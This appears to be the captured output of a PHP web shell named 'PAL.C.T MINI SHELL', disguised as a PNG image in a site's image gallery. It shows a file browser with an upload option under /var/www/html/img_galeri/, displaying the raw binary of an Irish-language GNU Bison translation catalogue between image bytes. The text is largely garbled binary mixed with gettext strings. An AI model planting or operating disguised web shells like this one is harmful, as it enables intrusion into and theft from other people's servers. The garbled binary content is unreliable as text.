‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/locale/ga/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/locale/ga/LC_MESSAGES/bison.mo

Þ•“´ÅL	`aœ}>1<p;­é	
6'^ ~Ÿ'¨DÐ6L&h§ÁÛ,õ"%@,f-“ Á&â	)%Io%€#¦$Êïñ03&d‹¦#Âæ	îIøB*bt(	EqOÁ'Ý)—/&Çî840mž §ÄÙë7T-pž³Æ/ÌüFD[& ÇÚæö $ ? U k ‡  ´ Ï ä õ !+-!Y!t!*!*¸!ã!""$"A"-V"*„".¯"+Þ""
#-#'G#6o##¦#Ê#Û#'ó#$6$,J$w$	€$ Š$	«$,µ$Aâ$$%9%.M%3|%°% Ï%ð%(&/8&*h& “&´&Ä&Ö&ÈÞ&§(½¾(*|*Q§*Pù*RJ++¶+
¿+Ê+<à+&,'D,l,/},ñ­,®Ÿ-0N.3.³.Æ. Û.ü.5/O/0o/5 /6Ö/"
0100b0~0(š0Ã0/Ô0-1.21a1c1&w1ž1.³1@â1-#21Q2#ƒ2	§2±2P½2-3(<3se3Ù5"æ78	8	B8ŸL8+ì9(:<A:¿~::>;y;“;°;RÄ;)=A=	C=M=k=€=›=»=(Ø=!>##>5G>}>•>©>M°>$þ>ü#? @-'AUAjA{AŽA¥A¾AÝA÷AB'B?B#_BƒBšB&©B"ÐB.óB#"CFC'aC*‰C&´C0ÛC%D2D4CD1xD3ªD0ÞD,E#<E&`EJ‡E8ÒE
FF59F&oF–F1¬FÞFçF(ôFG%*GTPG¥G¿G?ÞGDH1cH"•H¸HFÕH;IFXI!ŸIÁIÕIêIJ=€I-ˆŒ n"^{pl<fW
y„aƒ;U!['6tL8/\+‘Švr~%}H_S@‡
4YE‹.NV?$72“zFRGi3chM	jD(…Cs:#w’`uB‰bqxAX†&gP*0Q)1kZd‚O|To,>KeŽ59m]
Execution times (seconds)

Operation modes:
  -h, --help                 display this help and exit
  -V, --version              output version information and exit
      --print-localedir      output directory containing locale-dependent data
      --print-datadir        output directory containing skeletons and XSLT
  -y, --yacc                 emulate POSIX Yacc
  -W, --warnings=[CATEGORY]  report the warnings falling in CATEGORY


Report bugs to <%s>.
    Conflict between rule %d and token %s resolved as an error    Conflict between rule %d and token %s resolved as reduce    Conflict between rule %d and token %s resolved as shift TOTAL                 : on left: on right: type %d is %s
$$ for the midrule at $%d of `%s' has no declared type$$ of `%s' has no declared type$%d of `%s' has no declared type$default%%expect-rr applies only to GLR parsers%d nonterminal useless in grammar%d nonterminals useless in grammar%d rule useless in grammar%d rules useless in grammar%s affects only GLR parsers%s must be followed by positive number%s redeclaration for %s%s redeclaration for <%s>%s: illegal option -- %c
%s: invalid option -- %c
%s: option `%c%s' doesn't allow an argument
%s: option `%s' is ambiguous
%s: option `%s' requires an argument
%s: option `--%s' doesn't allow an argument
%s: option `-W %s' doesn't allow an argument
%s: option `-W %s' is ambiguous
%s: option requires an argument -- %c
%s: unrecognized option `%c%s'
%s: unrecognized option `--%s'
%u bitset_allocs, %u freed (%.2f%%).
%u bitset_lists
%u bitset_resets, %u cached (%.2f%%)
%u bitset_sets, %u cached (%.2f%%)
%u bitset_tests, %u cached (%.2f%%)
'Accumulated runs = %u
Bad stats file size.
Bitset statistics:

Copyright (C) %d Free Software Foundation, Inc.
Could not open stats file for writing.Could not read stats file.Could not write stats file.Generate LALR(1) and GLR parsers.

GrammarI/O errorMandatory arguments to long options are mandatory for short options too.
Nonterminals useless in grammarNonterminals, with rules where they appearOutput:
      --defines[=FILE]       also produce a header file
  -d                         likewise but cannot specify FILE (for POSIX Yacc)
  -r, --report=THINGS        also produce details on the automaton
      --report-file=FILE     write report to FILE
  -v, --verbose              same as `--report=state'
  -b, --file-prefix=PREFIX   specify a PREFIX for output files
  -o, --output=FILE          leave output to FILE
  -g, --graph[=FILE]         also output a graph of the automaton
  -x, --xml[=FILE]           also output an XML report of the automaton
                             (the XML schema is experimental)

Parser:
  -L, --language=LANGUAGE    specify the output programming language
                             (this is an experimental feature)
  -S, --skeleton=FILE        specify the skeleton to use
  -t, --debug                instrument the parser for debugging
      --locations            enable locations computation
  -p, --name-prefix=PREFIX   prepend PREFIX to the external symbols
  -l, --no-lines             don't generate `#line' directives
  -k, --token-table          include a table of token names

Rules useless in grammarRules useless in parser due to conflictsState %d THINGS is a list of comma separated words that can include:
  `state'        describe the states
  `itemset'      complete the core item sets with their closure
  `lookahead'    explicitly associate lookahead tokens to items
  `solved'       describe shift/reduce conflicts solving
  `all'          include all the above information
  `none'         disable the report
Terminals unused in grammarTerminals, with rules where they appearThe same is true for optional arguments.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Try `%s --help' for more information.
Unknown system errorUsage: %s [OPTION]... FILE
Valid arguments are:Warning categories include:
  `midrule-values'  unset or unused midrule values
  `yacc'            incompatibilities with POSIX YACC
  `all'             all the warnings
  `no-CATEGORY'     turn off warnings in CATEGORY
  `none'            turn off all the warnings
  `error'           treat warnings as errors

Written by Robert Corbett and Richard Stallman.
`acceptambiguous argument %s for %sbison (GNU Bison) %scannot close filecannot open file `%s'column number overflowconflicting outputs to file %sconflicts: %d reduce/reduce
conflicts: %d shift/reduce
conflicts: %d shift/reduce, %d reduce/reduce
count log histogram
density histogram
emptyempty rule for typed nonterminal, and no actionerror (nonassociative)
expected %d reduce/reduce conflictexpected %d reduce/reduce conflictsexpected %d shift/reduce conflictexpected %d shift/reduce conflictsexplicit type given in untyped grammarextra operand `%s'fatal errorgo to state %d
integer out of range: %sinvalid $ value: $%dinvalid argument %s for %sinvalid character: %sinvalid directive: %sinvalid escape sequence: %sinvalid language `%s'invalid null characterinvalid null character: %sline number overflowmemory exhaustedmissing `%s' at end of filemissing `%s' at end of linemissing identifier in parameter declarationmissing operand after `%s'multiple %s declarationsmultiple language declarations are invalidmultiple skeleton declarations are invalidno rules in the input grammarnonterminal useless in grammar: %sonly one %s allowed per ruleprevious declarationredeclaration for default tagged %%destructorredeclaration for default tagged %%printerredeclaration for default tagless %%destructorredeclaration for default tagless %%printerredefining user token number of %sreduce using rule %d (%s)refusing to overwrite the input file %sresult type clash on merge function `%s': <%s> != <%s>rule given for %s, which is a tokenrule is too longrule useless in grammarrule useless in parser due to conflictsshift, and go to state %d
size log histogram
start symbol %s does not derive any sentencestate %dstray `$'stray `,' treated as white spacestray `@'subsidiary program `%s' could not be invokedsymbol %s is used, but is not defined as a token and has no rulessymbol %s redeclaredsymbol %s redefinedsymbol `%s' given more than one literal stringsymbol `%s' used more than once as a literal stringthe start symbol %s is a tokenthe start symbol %s is undefinedtime in %s: %ld.%06ld (%ld%%)
tokens %s and %s both assigned number %dtoo many symbols in input grammar (limit is %d)type clash on default action: <%s> != <%s>unrecognized escape sequence: %sunset value: $$unused value: $%dwarningProject-Id-Version: bison 2.4
Report-Msgid-Bugs-To: bug-bison@gnu.org
POT-Creation-Date: 2008-12-11 17:06-0500
PO-Revision-Date: 2008-11-02 18:52-0500
Last-Translator: Kevin Scannell <kscanne@gmail.com>
Language-Team: Irish <gaeilge-gnulinux@lists.sourceforge.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=5; plural=n==1 ? 0 : n==2 ? 1 : (n>2 && n<7) ? 2 :(n>6 && n<11) ? 3 : 4;

Agaí rite (soicindí)

Móid oibre:
  -h, --help                 taispeáin an chabhair seo agus scoir
  -V, --version              taispeáin eolas faoin leagan agus scoir
      --print-localedir      taispeáin an chomhadlann ina bhfuil sonraí logchaighdeáin
      --print-datadir        taispeáin an chomhadlann ina bhfuil creatlacha agus XSLT
  -y, --yacc                 déan aithris ar yacc POSIX
  -W, --warnings=[CATAGÓIR]  taispeáin na rabhaidh atá i gCATAGÓIR


Seol tuairiscí ar fhabhtanna chuig <%s>.
    Coinbhleacht idir riail %d agus teaghrán comharthach %s: réitíodh mar earráid    Coinbhleacht idir riail %d agus teaghrán comharthach %s: réitíodh mar laghdú    Coinbhleacht idir riail %d agus teaghrán comharthach %s: réitíodh mar iomlaoid IOMLÁN                : ar clé: ar dheis: de chineál %d is %s
Níl aon chineál fógartha ag $$ na meánrialach ag $%d de `%s'Níl aon chineál fógartha ag $$ de `%s'Níl aon chineál fógartha ag $%d de `%s'$réamhshocraitheNíl %%expect-rr in úsáid ach le parsálaithe GLR%d slonn inlaghdaithe gan tairbhe sa ghramadach%d shlonn inlaghdaithe gan tairbhe sa ghramadach%d shlonn inlaghdaithe gan tairbhe sa ghramadach%d slonn inlaghdaithe gan tairbhe sa ghramadach%d slonn inlaghdaithe gan tairbhe sa ghramadach%d riail gan tairbhe sa ghramadach%d riail gan tairbhe sa ghramadach%d riail gan tairbhe sa ghramadach%d riail gan tairbhe sa ghramadach%d riail gan tairbhe sa ghramadachNíl %s curtha i bhfeidhm ach ar pharsálaithe GLRNí foláir uimhir dheimhneach a theacht i ndiaidh %sathfhógra %s ar %sathfhógra %s ar <%s>%s: rogha neamhcheadaithe -- %c
%s: rogha neamhbhailí -- %c
%s: ní cheadaítear argóint i ndiaidh na rogha `%c%s'
%s: Tá an rogha `%s' débhríoch
%s: tá argóint de dhíth i ndiaidh na rogha `%s'
%s: ní cheadaítear argóint i ndiaidh na rogha `--%s'
%s: ní cheadaítear argóint i ndiaidh na rogha `-W %s'
%s: Tá an rogha `-W %s' débhríoch
%s: tá argóint de dhíth i ndiaidh na rogha -- %c
%s: rogha anaithnid `%c%s'
%s: rogha anaithnid `--%s'
%u bitset_allocs, %u scaoilte (%.2f%%).
%u bitset_lists
%u bitset_resets, %u curtha i dtaisce (%.2f%%)
%u bitset_sets, %u curtha i dtaisce (%.2f%%)
%u bitset_tests, %u curtha i dtaisce (%.2f%%)
'Rití carnacha = %u
Méid comhaid staitistice earráideach.
Staitistic Bitset:

Copyright © %d Free Software Foundation, Inc.
Níorbh fhéidir an comhad staitistice a oscailt chun scríobh ann.Níorbh fhéidir an comhad staitistice a léamh.Níorbh fhéidir scríobh ar an chomhad staitistice.Gin parsálaithe LALR(1) agus GLR.

GramadachEarráid I/AIs riachtanach le rogha ghearr aon argóint atá riachtanach leis an rogha fhada.
Sloinn inlaghdaithe gan tairbhe sa ghramadachSloinn inlaghdaithe, le rialacha más cuíAschur:
      --defines[=COMHAD]     gin comhad ceanntásca freisin
  -d                         mar an gcéanna, ach gan COMHAD (le haghaidh Yacc POSIX)
  -r, --report=RUDAÍ         tabhair sonraí faoin uathoibreán
      --report-file=COMHAD   scríobh tuairisc i gCOMHAD
  -v, --verbose              ar comhbhrí le `--report=state'
  -b, --file-prefix=RÉIMÍR   RÉIMÍR ar aschomhaid
  -o, --output=COMHAD        scríobh aschur sa CHOMHAD
  -g, --graph[=COMHAD]       scríobh graf an uathoibreáin
  -x, --xml[=COMHAD]         scríobh tuairisc ar an uathoibreán mar XML
                             (is trialach é an scéimre XML)

Parsálaí:
  -L, --language=TEANGA      socraigh an ríomhtheanga le haschur
                             (gné thurgnamhach é seo)
  -S, --skeleton=COMHAD      socraigh an chreatlach le húsáid
  -t, --debug                ullmhaigh an parsálaí le haghaidh dífhabhtaithe
      --locations            cumasaigh ríomh na suímh
  -p, --name-prefix=RÉIMÍR   cuir RÉIMÍR roimh gach siombail sheachtrach
  -l, --no-lines             ná gin treoracha `#line'
  -k, --token-table          cuir tábla d'ainmneacha teaghrán san áireamh

Rialacha gan tairbhe sa ghramadachRialacha gan tairbhe sa pharsálaí de bhrí coinbhleachtaíStaid %d Is éard atá i RUDAÍ ná liosta focal, scartha le camóga, as na roghanna seo:
  `state'        déan cur síos ar na staideanna
  `itemset'      comhlíon na croíthacair míre lena gclabhsúr
  `look-ahead'   ceangail teaghráin réamhfheiceála le míreanna go follasach
  `solved'       réiteach de choinbhleachtaí iomlaoid/laghdú
  `all'          cuir gach sonra thuas san áireamh
  `none'         díchumasaigh an tuairisc
Sloinn dolaghdaithe gan úsáid sa ghramadachSloinn dolaghdaithe, le rialacha más cuíAgus mar an gcéanna le haghaidh argóintí roghnacha freisin.
Is saorbhogearra an ríomhchlár seo; féach ar an bhunchód le haghaidh
coinníollacha cóipeála.  Níl baránta ar bith ann; go fiú níl baránta ann
d'INDÍOLTACHT nó FEILIÚNACHT D'FHEIDHM AR LEITH.
Bain triail as `%s --help' chun tuilleadh eolais a fháil.
Earráid chórais anaithnidÚsáid: %s [ROGHA]... COMHAD
Na hargóintí bailí:Seo iad catagóirí na rabhadh:
  `midrule-values'  luachanna meánrialach gan socrú nó gan úsáid
  `yacc'            neamh-chomhoiriúintí le YACC POSIX
  `all'             gach rabhadh
  `no-CATAGÓIR'     ná taispeáin rabhaidh ó CATAGÓIR
  `none'            ná taispeáin rabhaidh ar bith
  `error'           caith le rabhaidh mar earráidí

Le Robert Corbett agus Richard Stallman.
`glac leisargóint dhébhríoch %s chun %sbison (GNU Bison) %sní féidir comhad a dhúnadhní féidir comhad `%s' a oscailtuimhir an cholúin thar maoilaschuir chontrártha scríofa i gcomhad %scoinbhleachtaí: %d laghdú/laghdú
coinbhleachtaí: %d iomlaoid/laghdú
coinbhleachtaí: %d iomlaoid/laghdú, %d laghdú/laghdú
histeagram loga áirimh
histeagram dlúithe
folamhriail fholamh i gcomhair teaghrán inlaghdaithe le cineál, ach níl aon ghníomhearráid (neamh-chomhthiomsaitheach)
bhíothas ag súil le %d coinbhleacht laghdú/laghdúbhíothas ag súil le %d choinbhleacht laghdú/laghdúbhíothas ag súil le %d choinbhleacht laghdú/laghdúbhíothas ag súil le %d gcoinbhleacht laghdú/laghdúbhíothas ag súil le %d coinbhleacht laghdú/laghdúbhíothas ag súil le %d coinbhleacht iomlaoid/laghdúbhíothas ag súil le %d choinbhleacht iomlaoid/laghdúbhíothas ag súil le %d choinbhleacht iomlaoid/laghdúbhíothas ag súil le %d gcoinbhleacht iomlaoid/laghdúbhíothas ag súil le %d coinbhleacht iomlaoid/laghdúcineál follasach i ngramadach gan chineálachaoibreann breise `%s'earráid mharfachtéigh go staid %d
slánuimhir as raon: %sluach neamhbhailí $: $%dargóint neamhbhailí %s chun %scarachtar neamhbhailí: %streoir neamhbhailí: %séalúchán neamhbhailí: %steanga neamhbhailí `%s'carachtar neamhbhailí nialasachcarachtar neamhbhailí nialasach: %slíne-uimhir thar maoilcuimhne ídithe`%s' ar iarraidh ag críoch an chomhaid`%s' ar iarraidh ag críoch na líneaitheantóir ar iarraidh i bhfógra paraiméadairoibreann ar iarraidh i ndiaidh `%s'níos mó ná fógra amháin %sní cheadaítear níos mó ná teanga amháinní cheadaítear níos mó ná creatlach amháinníl aon riail sa ghramadach ionchurthaslonn inlaghdaithe gan tairbhe sa ghramadach: %sní cheadaítear ach %s amháin an riailfógra roimhe seoathfhógra ar %%destructor réamhshocraithe clibeáilteathfhógra ar %%printer réamhshocraithe clibeáilteathfhógra ar %%destructor réamhshocraithe gan chlibathfhógra ar %%printer réamhshocraithe gan chlibsainmhíniú nua ar an uimhir theaghráin do %slaghdaigh, ag úsáid rialach %d (%s)diúltaítear inchomhad %s a fhorscríobhcaismirt idir cineálacha toraidh i bhfeidhm chumaiscthe `%s': <%s> != <%s>tugadh riail i gcomhair %s atá ina theaghrán comharthachriail rófhadariail gan tairbhe sa ghramadachriail gan tairbhe sa pharsálaí de bhrí coinbhleachtaídéan iomlaoid, agus téigh go staid %d
histeagram loga méid
níl aon abairt díorthaithe ón siombail tosaigh %sstaid %d`$' ar strae`,' ar seachrán, caith leis mar spás bán`@' ar straeníorbh fhéidir an fochlár `%s' a rithtá siombail %s in úsáid, ach níl sé ina teaghrán comharthach agus níl aon riail aiciathfhógra ar shiombail %ssainmhíniú nua ar shiombail %stá níos mó ná aon teaghrán litriúil amháin ag an tsiombail `%s'siombail `%s' in úsáid níos mó ná uair amháin mar theaghrán litriúilis teaghrán comharthach í an tsiombail tosaigh %ssiombail tosaigh %s gan sainmhíniúaga i %s: %ld.%06ld (%ld%%)
tá teaghráin chomharthach ann (%s agus %s) leis an uimhir chéanna (%d)an iomarca siombailí sa ghramadach ionchurtha (uasmhéid %d)caismirt idir cineálacha leis an ghníomh réamhshocraithe: <%s> != <%s>seicheamh éalúcháin anaithnid: %sluach gan socrú: $$luach gan úsáid: $%drabhadh
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚